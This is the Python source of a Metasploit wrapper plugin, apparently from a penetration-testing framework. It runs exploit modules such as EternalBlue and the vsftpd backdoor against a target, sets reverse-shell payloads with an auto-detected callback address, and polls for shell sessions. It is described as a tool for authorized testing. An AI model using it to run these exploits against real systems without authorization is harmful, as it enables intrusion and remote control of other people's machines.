#!/usr/bin/env python3
"""
souleyez.plugins.msf_exploit - Metasploit Framework exploit module wrapper

Supports two execution modes:
1. RPC Mode (Pro only): Uses msfrpcd for persistent sessions
2. Console Mode: Uses msfconsole subprocess (sessions die on job completion)
"""
from typing import List, Dict, Any, Optional
import subprocess
import time
import socket
import logging
import re

from .plugin_base import PluginBase

logger = logging.getLogger(__name__)

HELP = {
    "name": "MSF Exploit (Metasploit)",
    "description": (
        "Run Metasploit Framework exploit modules non-interactively.\n\n"
        "This tool executes MSF exploit modules against targets to verify vulnerabilities "
        "and (in CTF/lab environments) gain access. Results are logged for review.\n\n"
        "Quick tips:\n"
        "- Exploits run with a 120-second timeout by default\n"
        "- Reverse shell payloads require LHOST to be set\n"
        "- Use bind payloads when reverse connections aren't possible\n"
        "- Sessions are not maintained - output is captured to log\n\n"
        "Common payloads:\n"
        "- generic/shell_reverse_tcp - Basic reverse shell\n"
        "- generic/shell_bind_tcp - Basic bind shell\n"
        "- cmd/unix/reverse - Unix reverse shell\n"
        "- windows/meterpreter/reverse_tcp - Meterpreter (if needed)\n"
    ),
    "usage": "souleyez jobs enqueue msf_exploit <target> --args \"<exploit_path> [OPTIONS]\"",
    "examples": [
        "souleyez jobs enqueue msf_exploit 10.0.0.82 --args \"exploit/unix/ftp/vsftpd_234_backdoor\"",
        "souleyez jobs enqueue msf_exploit 10.0.0.82 --args \"exploit/multi/samba/usermap_script LHOST=10.0.0.1\"",
        "souleyez jobs enqueue msf_exploit 10.0.0.82 --args \"exploit/windows/smb/ms17_010_eternalblue LHOST=10.0.0.1\"",
    ],
    "common_options": {
        "RHOSTS": "Target host(s) - set automatically from target",
        "RPORT": "Target port (default varies by exploit)",
        "LHOST": "Local host for reverse connections",
        "LPORT": "Local port for reverse connections (default: 4444)",
        "PAYLOAD": "Payload to use (default: auto-selected)",
    },
    "notes": [
        "Requires Metasploit Framework installed (msfconsole)",
        "Runs exploits non-interactively with timeout",
        "Pro: Sessions persist via msfrpcd - interact with them later",
        "Free: Sessions end when job completes (verification only)",
        "Use responsibly - only on authorized targets",
    ],
    "presets": [],
    "help_sections": [
        {
            "title": "What is MSF Exploit?",
            "color": "cyan",
            "content": [
                {"title": "Overview", "desc": "MSF Exploit runs Metasploit Framework exploit modules non-interactively to verify vulnerabilities and gain access in authorized testing scenarios."},
                {"title": "Use Cases", "desc": "Vulnerability verification and exploitation", "tips": [
                    "Verify detected vulnerabilities are exploitable",
                    "Gain initial access in CTF/lab environments",
                    "Test exploit chains from auto-chaining rules",
                    "Document successful exploits for reporting"
                ]}
            ]
        },
        {
            "title": "How to Use",
            "color": "green",
            "content": [
                {"title": "Basic Workflow", "desc": "1. Identify vulnerable service from scan\\n     2. Select appropriate exploit module\\n     3. Configure LHOST for reverse payloads\\n     4. Run and capture results"},
                {"title": "Payload Types", "desc": "Choose payload based on target", "tips": [
                    "Reverse: Target connects back to you (needs LHOST)",
                    "Bind: Opens port on target (you connect to it)",
                    "Use bind when firewalls block reverse connections",
                    "Default payloads are usually sufficient"
                ]}
            ]
        }
    ]
}


class MsfExploitPlugin(PluginBase):
    name = "Metasploit Exploit"
    tool = "msf_exploit"
    category = "internal"  # Job-queue only - not shown in main menu
    HELP = HELP

    def __init__(self):
        self._rpc_manager = None

    def _get_rpc_manager(self):
        """Lazy-load RPC manager to avoid circular imports."""
        if self._rpc_manager is None:
            try:
                from souleyez.core.msf_rpc_manager import MSFRPCManager
                self._rpc_manager = MSFRPCManager.get_instance()
            except Exception:
                self._rpc_manager = None
        return self._rpc_manager

    def _use_rpc_mode(self) -> bool:
        """
        Check if RPC mode should be used.

        RPC mode requires:
        1. Pro license
        2. msfrpc.enabled = True in config
        3. msfrpcd is running and accessible
        """
        try:
            from souleyez.core.msf_rpc_manager import is_pro_enabled
            from souleyez import config

            # Must have Pro license
            if not is_pro_enabled():
                return False

            # Must be enabled in config
            if not config.get('msfrpc.enabled', False):
                return False

            # Must be able to connect
            manager = self._get_rpc_manager()
            if manager and manager.is_available():
                return True

            # Check fallback setting
            if not config.get('msfrpc.fallback_to_console', True):
                logger.warning("msfrpcd unavailable and fallback disabled")

            return False

        except Exception as e:
            logger.debug(f"RPC mode check failed: {e}")
            return False

    def _parse_exploit_options(self, target: str, extra_opts: List[str]) -> Dict[str, Any]:
        """Parse exploit options into RPC format."""
        options = {'RHOSTS': target}

        # Check what's already provided
        has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
        has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)

        # Auto-detect LHOST if not provided
        if not has_lhost:
            local_ip = self._get_local_ip(target)
            if local_ip:
                options['LHOST'] = local_ip

        # Parse extra options
        for opt in extra_opts:
            if '=' in opt:
                key, value = opt.split('=', 1)
                options[key.upper()] = value

        return options, has_payload

    def _get_default_payload(self, exploit_path: str) -> str:
        """Get default payload based on exploit path."""
        exploit_lower = exploit_path.lower()
        if 'windows' in exploit_lower:
            return 'generic/shell_reverse_tcp'
        elif 'unix' in exploit_lower or 'linux' in exploit_lower:
            return 'cmd/unix/reverse'
        elif 'multi' in exploit_lower:
            return 'generic/shell_reverse_tcp'
        return 'generic/shell_reverse_tcp'

    def run_rpc_exploit(
        self,
        exploit_path: str,
        target: str,
        options: Dict[str, Any],
        log_path: Optional[str] = None,
        payload: Optional[str] = None
    ) -> Dict[str, Any]:
        """
        Execute exploit via RPC and poll for session.

        Args:
            exploit_path: MSF exploit module path
            target: Target IP/hostname
            options: Exploit options dict
            log_path: Optional log file path
            payload: Optional payload override

        Returns:
            Dict with keys: success, session_id, session_info, error
        """
        from souleyez import config

        manager = self._get_rpc_manager()
        if not manager:
            return {'success': False, 'error': 'RPC manager not available'}

        client = manager.get_client()
        if not client:
            return {'success': False, 'error': 'Could not connect to msfrpcd'}

        poll_interval = config.get('msfrpc.poll_interval', 2)
        max_poll = config.get('msfrpc.max_poll_time', 300)

        # Log start
        if log_path:
            with open(log_path, 'a', encoding='utf-8', errors='replace') as f:
                f.write(f"\n=== RPC Exploit Execution ===\n")
                f.write(f"Mode: msfrpcd (persistent sessions)\n")
                f.write(f"Exploit: {exploit_path}\n")
                f.write(f"Target: {target}\n")
                f.write(f"Options: {options}\n")
                if payload:
                    f.write(f"Payload: {payload}\n")
                f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n")

        # Get baseline session count
        try:
            initial_sessions = set(client.list_sessions().keys())
            if log_path:
                with open(log_path, 'a') as f:
                    f.write(f"[*] Current sessions: {len(initial_sessions)}\n")
        except Exception as e:
            return {'success': False, 'error': f'Failed to list sessions: {e}'}

        # Set payload in options if provided
        if payload:
            options['PAYLOAD'] = payload

        # Execute exploit via RPC
        try:
            if log_path:
                with open(log_path, 'a') as f:
                    f.write(f"[*] Submitting exploit to msfrpcd...\n")

            result = client.execute_module('exploit', exploit_path, options)

            if isinstance(result, dict) and 'error' in result:
                error_msg = result.get('error_message', result.get('error', 'Unknown error'))
                if log_path:
                    with open(log_path, 'a') as f:
                        f.write(f"[-] Exploit submission failed: {error_msg}\n")
                return {'success': False, 'error': error_msg}

            job_id = result.get('job_id')
            if log_path:
                with open(log_path, 'a') as f:
                    f.write(f"[*] Exploit submitted as MSF job {job_id}\n")
                    f.write(f"[*] Polling for session (max {max_poll}s)...\n")

        except Exception as e:
            if log_path:
                with open(log_path, 'a') as f:
                    f.write(f"[-] Execute failed: {e}\n")
            return {'success': False, 'error': f'Execute failed: {e}'}

        # Poll for new session
        start_time = time.time()
        while time.time() - start_time < max_poll:
            time.sleep(poll_interval)

            try:
                current_sessions = set(client.list_sessions().keys())
                new_sessions = current_sessions - initial_sessions

                if new_sessions:
                    session_id = list(new_sessions)[0]
                    session_info = client.get_session_info(int(session_id))

                    if log_path:
                        with open(log_path, 'a') as f:
                            f.write(f"\n[+] Session {session_id} opened!\n")
                            f.write(f"    Type: {session_info.get('type', 'unknown')}\n")
                            f.write(f"    Platform: {session_info.get('platform', 'unknown')}\n")
                            f.write(f"    Via: {session_info.get('via_exploit', exploit_path)}\n")
                            f.write(f"    Tunnel: {session_info.get('tunnel_peer', 'N/A')}\n")
                            f.write(f"\n[*] Session is persistent - interact via MSF Sessions menu\n")
                            f.write(f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")

                    return {
                        'success': True,
                        'session_id': session_id,
                        'session_info': session_info,
                        'exploit_path': exploit_path
                    }

            except Exception as e:
                if log_path:
                    with open(log_path, 'a') as f:
                        f.write(f"[!] Poll error: {e}\n")

        # Timeout - no session opened
        if log_path:
            with open(log_path, 'a') as f:
                f.write(f"\n[-] No session opened after {max_poll}s\n")
                f.write(f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")

        return {'success': False, 'error': f'No session after {max_poll}s'}

    def _get_local_ip(self, target: str) -> str:
        """Get local IP that can reach the target."""
        try:
            # Create a socket to determine which interface routes to target
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.settimeout(2)
            s.connect((target, 80))
            local_ip = s.getsockname()[0]
            s.close()
            return local_ip
        except Exception:
            # Fallback: try common local IPs
            try:
                result = subprocess.run(
                    ["ip", "route", "get", target],
                    capture_output=True,
                    text=True,
                    timeout=5
                )
                if result.returncode == 0:
                    import re
                    match = re.search(r'src\s+(\d+\.\d+\.\d+\.\d+)', result.stdout)
                    if match:
                        return match.group(1)
            except Exception:
                pass
            return None

    def build_command(self, target: str, args: List[str] = None, label: str = "", log_path: str = None):
        """
        Build command for background execution.

        Returns either:
        - RPC mode spec: {'mode': 'rpc', 'exploit_path': ..., 'options': ..., ...}
        - Console mode spec: {'cmd': [...], 'timeout': ...}
        """
        args = args or []

        # First arg should be the exploit path
        if not args:
            return None

        exploit_path = args[0]
        extra_opts = args[1:] if len(args) > 1 else []

        # Check if RPC mode should be used (Pro feature)
        if self._use_rpc_mode():
            options, has_payload = self._parse_exploit_options(target, extra_opts)
            payload = None if has_payload else self._get_default_payload(exploit_path)

            return {
                'mode': 'rpc',
                'exploit_path': exploit_path,
                'target': target,
                'options': options,
                'payload': payload,
                'log_path': log_path,
                'timeout': 300  # Max poll time
            }

        # Console mode (Free users or RPC unavailable)
        return self._build_console_command(target, exploit_path, extra_opts, log_path)

    def _build_console_command(
        self,
        target: str,
        exploit_path: str,
        extra_opts: List[str],
        log_path: str = None
    ) -> Dict[str, Any]:
        """Build msfconsole command spec for console mode."""
        # Parse extra options to check for LHOST/PAYLOAD
        has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
        has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)

        # Build msfconsole command
        msf_commands = [
            f"use {exploit_path}",
            f"set RHOSTS {target}",
        ]

        # Auto-detect LHOST if not provided and needed for reverse payloads
        if not has_lhost:
            local_ip = self._get_local_ip(target)
            if local_ip:
                msf_commands.append(f"set LHOST {local_ip}")

        # Add any extra options
        for opt in extra_opts:
            if '=' in opt:
                key, value = opt.split('=', 1)
                msf_commands.append(f"set {key} {value}")
            else:
                msf_commands.append(opt)

        # Set default payload if not provided
        if not has_payload:
            default_payload = self._get_default_payload(exploit_path)
            msf_commands.append(f"set PAYLOAD {default_payload}")

        # Run the exploit
        msf_commands.append("exploit -z")  # -z: don't interact with session
        msf_commands.append("exit -y")

        command_string = "; ".join(msf_commands)

        cmd = [
            "msfconsole",
            "-q",
            "-n",
            "-x",
            command_string
        ]

        return {
            'cmd': cmd,
            'timeout': 300  # 5 minutes for exploits
        }

    def run(self, target: str, args: List[str] = None, label: str = "", log_path: str = None) -> int:
        """Execute MSF exploit module non-interactively."""
        args = args or []

        # First arg should be the exploit path
        if not args:
            if log_path:
                with open(log_path, "w") as f:
                    f.write("ERROR: No exploit specified. Example: exploit/unix/ftp/vsftpd_234_backdoor\n")
            return 1

        exploit_path = args[0]
        extra_opts = args[1:] if len(args) > 1 else []

        if log_path:
            return self._run_with_logpath(exploit_path, target, extra_opts, log_path)

        return self._run_legacy(exploit_path, target, extra_opts)

    def _run_with_logpath(self, exploit_path: str, target: str, extra_opts: List[str], log_path: str) -> int:
        """Run MSF exploit and write output to log_path."""
        try:
            # Parse extra options
            has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
            has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)

            # Build msfconsole command
            msf_commands = [
                f"use {exploit_path}",
                f"set RHOSTS {target}",
            ]

            # Auto-detect LHOST if not provided
            local_ip = None
            if not has_lhost:
                local_ip = self._get_local_ip(target)
                if local_ip:
                    msf_commands.append(f"set LHOST {local_ip}")

            # Add extra options
            for opt in extra_opts:
                if '=' in opt:
                    key, value = opt.split('=', 1)
                    msf_commands.append(f"set {key} {value}")
                else:
                    msf_commands.append(opt)

            # Set default payload if not provided
            if not has_payload:
                exploit_lower = exploit_path.lower()
                if 'windows' in exploit_lower:
                    default_payload = 'generic/shell_reverse_tcp'
                elif 'unix' in exploit_lower or 'linux' in exploit_lower:
                    default_payload = 'cmd/unix/reverse'
                elif 'multi' in exploit_lower:
                    default_payload = 'generic/shell_reverse_tcp'
                else:
                    default_payload = 'generic/shell_reverse_tcp'
                msf_commands.append(f"set PAYLOAD {default_payload}")

            # Run exploit
            msf_commands.append("exploit -z")
            msf_commands.append("exit -y")

            command_string = "; ".join(msf_commands)

            cmd = [
                "msfconsole",
                "-q",
                "-n",
                "-x",
                command_string
            ]

            with open(log_path, "w", encoding="utf-8", errors="replace") as fh:
                fh.write("=== Metasploit Exploit Module ===\n")
                fh.write(f"Exploit: {exploit_path}\n")
                fh.write(f"Target: {target}\n")
                if local_ip:
                    fh.write(f"LHOST (auto): {local_ip}\n")
                fh.write(f"Options: {', '.join(extra_opts) if extra_opts else 'None'}\n")
                fh.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n")
                fh.write(f"Command: {' '.join(cmd)}\n\n")
                fh.flush()

                # Run msfconsole
                proc = subprocess.run(
                    cmd,
                    stdout=fh,
                    stderr=subprocess.STDOUT,
                    timeout=300,  # 5 minutes for exploits
                    check=False
                )

                fh.write(f"\n\nCompleted: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")
                fh.write(f"Exit Code: {proc.returncode}\n")

                return proc.returncode

        except subprocess.TimeoutExpired:
            # Check if a session was opened before timeout
            # This is success - MSF keeps sessions alive which causes timeout
            import re
            try:
                with open(log_path, "r", encoding="utf-8", errors="replace") as fh:
                    content = fh.read()
                session_opened = bool(re.search(r'session \d+ opened', content, re.IGNORECASE))
            except Exception:
                session_opened = False

            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                if session_opened:
                    fh.write("\n[*] Session opened successfully (timeout expected - session is active)\n")
                    fh.write(f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")
                else:
                    fh.write("\nERROR: Exploit timed out after 300 seconds\n")

            return 0 if session_opened else 124

        except FileNotFoundError:
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                fh.write("\nERROR: msfconsole not found in PATH\n")
                fh.write("Please install Metasploit Framework\n")
            return 127

        except Exception as e:
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                fh.write(f"\nERROR: {type(e).__name__}: {e}\n")
            return 1

    def _run_legacy(self, exploit_path: str, target: str, extra_opts: List[str]):
        """Legacy execution without log_path."""
        msf_commands = [
            f"use {exploit_path}",
            f"set RHOSTS {target}",
        ]

        # Try to auto-detect LHOST
        has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
        has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)
        if not has_lhost:
            local_ip = self._get_local_ip(target)
            if local_ip:
                msf_commands.append(f"set LHOST {local_ip}")

        for opt in extra_opts:
            if '=' in opt:
                key, value = opt.split('=', 1)
                msf_commands.append(f"set {key} {value}")
            else:
                msf_commands.append(opt)

        # Set default payload if not provided
        if not has_payload:
            exploit_lower = exploit_path.lower()
            if 'windows' in exploit_lower:
                default_payload = 'generic/shell_reverse_tcp'
            elif 'unix' in exploit_lower or 'linux' in exploit_lower:
                default_payload = 'cmd/unix/reverse'
            elif 'multi' in exploit_lower:
                default_payload = 'generic/shell_reverse_tcp'
            else:
                default_payload = 'generic/shell_reverse_tcp'
            msf_commands.append(f"set PAYLOAD {default_payload}")

        msf_commands.append("exploit -z")
        msf_commands.append("exit -y")

        command_string = "; ".join(msf_commands)

        cmd = ["msfconsole", "-q", "-n", "-x", command_string]

        try:
            proc = subprocess.run(cmd, capture_output=True, timeout=300, check=False)
            return proc.returncode
        except Exception:
            return 1


plugin = MsfExploitPlugin()
